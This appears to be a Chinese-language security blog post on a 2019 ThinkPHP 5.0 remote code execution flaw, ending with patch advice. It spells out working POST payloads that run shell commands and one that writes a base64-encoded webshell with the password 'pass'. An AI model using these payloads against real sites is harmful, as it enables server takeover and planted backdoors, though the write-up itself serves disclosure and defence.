ThinkPHP 5.0框架漏洞 致命通杀getshell漏洞利用与修复



          2019年1月14日消息,thinkphp又被爆出致命漏洞,可以直接远程代码执行,getshell

提权写入网站木马到网站根目录,甚至直接提权到服务器,该漏洞影响
版本ThinkPHP 5.0、

ThinkPHP 5.0.10、ThinkPHP5.0.12、ThinkPHP5.0.13、
ThinkPHP5.0.23、thinkphp 5.0.2

2版本。

 
 
攻击者可以伪造远程恶意代码,对服务器进行post提交数据来利用漏洞,该漏洞产生的原因

是继上次2019元旦前后爆出的网站漏洞后,又一次的致命漏洞。在
thinkphp目录下的library

文件夹下的think\request.php代码。如下图所示:
 

 
从上述代码中可以看出整个代码写的流程,首先打开网站会从app.php代码里将请求的网站地

址使用check来进行解析,然后再经过patch类型对其进行深度的赋值.
然后可以使用post方式

提交数据到_method函数当中去,框架会对进行判断,然后
对其调用传入的参数值,经过整个

代码的循坏以及传入,就可以导致request的值
给覆盖掉,从而产生远程代码执行,我们来构

造恶意的代码,看看漏洞是如何使用
的。
 
post地址:http://anquanceshi.com/public/index.php?s=captcha
 
POST内容:c=system&f=whoami&_method=filter
 
直接远程提交过去就会执行我们的命令 whoami。查看返回的post数据就可以看到我们要看的

信息。

 
在整体的所有版本中测试,thinkphp必须开启debug模式才可以写入webshell,写入的执行代

码是:_method=construct&filter[]=assert&filter[]
=file_put_contents('0.php',base64_decode
 
('JTNDJTI1ZXZhbCUyMHJlcXVlc3QlMjAlMjglMjJwYXNzJTIyJTI5JTI1JTNF'))
 
&server=-1  写入的是一句话木马,连接密码是pass.
 
 
有些低版本的网站,可以不使用captcha参数也可是执行远程代码,代码如下:
 
_method=__construct&filter[]=system&method=GET&get[]=whoami
 
_method=__construct&filter[]=assert&server[]=phpinfo&get[]=phpinfo 
 
_method=__construct&filter[]=call_user_func&server[]=phpinfo&get[]=phpinfo
 
以上三个都是可以执行远程代码的。
 
关于thinkphp漏洞的修复建议:
 

 
尽快升级thinkphp到最新版本,有一些网站可能不方便升级,也可以对代码的文件进行修复,

漏洞代码是library/think/Request.php对该代码的526行,527行进行
添加设置白名单机制,对

请求过来的数据,以及接收的数据进行安全限制。if 
(in_array($method, ['GET', 'POST', 'DEL

ETE', 'PUT', 'PATCH'])) {
$this->method = $method。
分享: